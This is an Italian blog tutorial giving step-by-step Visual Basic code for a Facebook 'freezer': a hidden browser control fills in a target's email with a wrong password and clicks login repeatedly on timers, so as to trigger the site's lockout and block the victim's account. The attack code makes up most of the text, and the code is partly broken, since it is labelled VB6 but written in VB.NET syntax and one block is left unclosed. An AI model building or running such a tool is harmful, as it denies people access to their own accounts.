Creare un Freezer per Facebook in Visual Basic 6

Dopo avervi presentato qualche giorno fa, il freezer per MSN Live, oggi vi presento, o meglio vi spiego come creare un freezer per Facebook in Visual Basic 6.
Come prima cosa, vengo a spiegare cosa è un freezer.
Siti di importanza maggiore, per tutelare la sicurezza degli utenti, concedono un certo tot di tentativi di login, prima di bloccare temporaneamente l’account. Il freezer appunto sbaglia di proposito ed in automatico, centinaia di password bloccando l’account vittima finche noi non decidiamo di sbloccarlo. Purtroppo, Facebook usa il captcha, quindi tale codice è e deve essere usato solo come esempio.



Come prima cosa, creiamo un nuovo progetto dandogli il nome che vogliamo, creiamo un Webbrowser e rendiamolo invisibile col seguente codice:

webbrowser.visible = false

Rechiamoci sulla pagina di login su Facebook, e visualizziamo i nomi dei form di email, password e login, che dovrebbero essere:

Username ID : email
Password ID : pass
Login Button ID : login

Il prossimo passo da fare e far collegare il nostro programma a facebook, e per fare cio, clicchiamo sil webbrowser prima creato assegnandoci questo valore:

webbrowser1.navigate(“https://login.facebook.com/login.php?login_attempt=1″)

In questo modo siamo pronti per collegarci a Facebook, creaiamo un nuovo pulsante, doppio click sullo stesso ed assegnamoci il seguente codice:

Timer1.Start()
Timer2.Start()
Dim i As Integer
For i = 0 To 21
WebBrowser.Document.GetElementById(“email”).SetAttribute(“value”, (TextBox1.Text))
WebBrowser.Document.GetElementById(“pass”).SetAttribute(“value”, “kinglion.it”)
WebBrowser.Document.GetElementById(“login”).InvokeMember(“click”)
Next i

In questo modo, facciamo si che il nostro programma si colleghi a facebook, con la mail selezionata, che vedremo dopo, tentando di loggari con la password kinglion.it.
Il prossimo passo da fare è di aggiungere una barra di progresso, e due timer, e rendiamo la barra di progresso invisibile col seguente comando:

progressbar1.visible = false

E questo codice al primo timer:

ProgressBar.Increment(1)
If ProgressBar.Value = ProgressBar.Maximum Then
Dim i As Integer
For i = 0 To 21
Try

WebBrowser.Document.GetElementById(“email”).SetAttribute(“value”, (TextBox1.Text))
WebBrowser.Document.GetElementById(“pass”).SetAttribute(“value”, “kinglion.it”)
WebBrowser.Document.GetElementById(“login”).InvokeMember(“click”)
Catch ex As Exception
End Try

Aggiungiamo questo codice al secondo timer

ProgressBar2.Increment(1)
If ProgressBar2.Value = ProgressBar2.Maximum Then
Timer1.Stop()
Timer2.Stop()
MsgBox(“L’account Facebook ” & (TextBox1.Text) & ” è stato bloccato.”)
ProgressBar2.Value = ProgressBar2.Minimum
End If

Abbiamo finito!

Questo articolo è stato scritto da Pasquale Venditto di kinglion.it. Ne è vietata la riproduzione anche parziale del contenuto.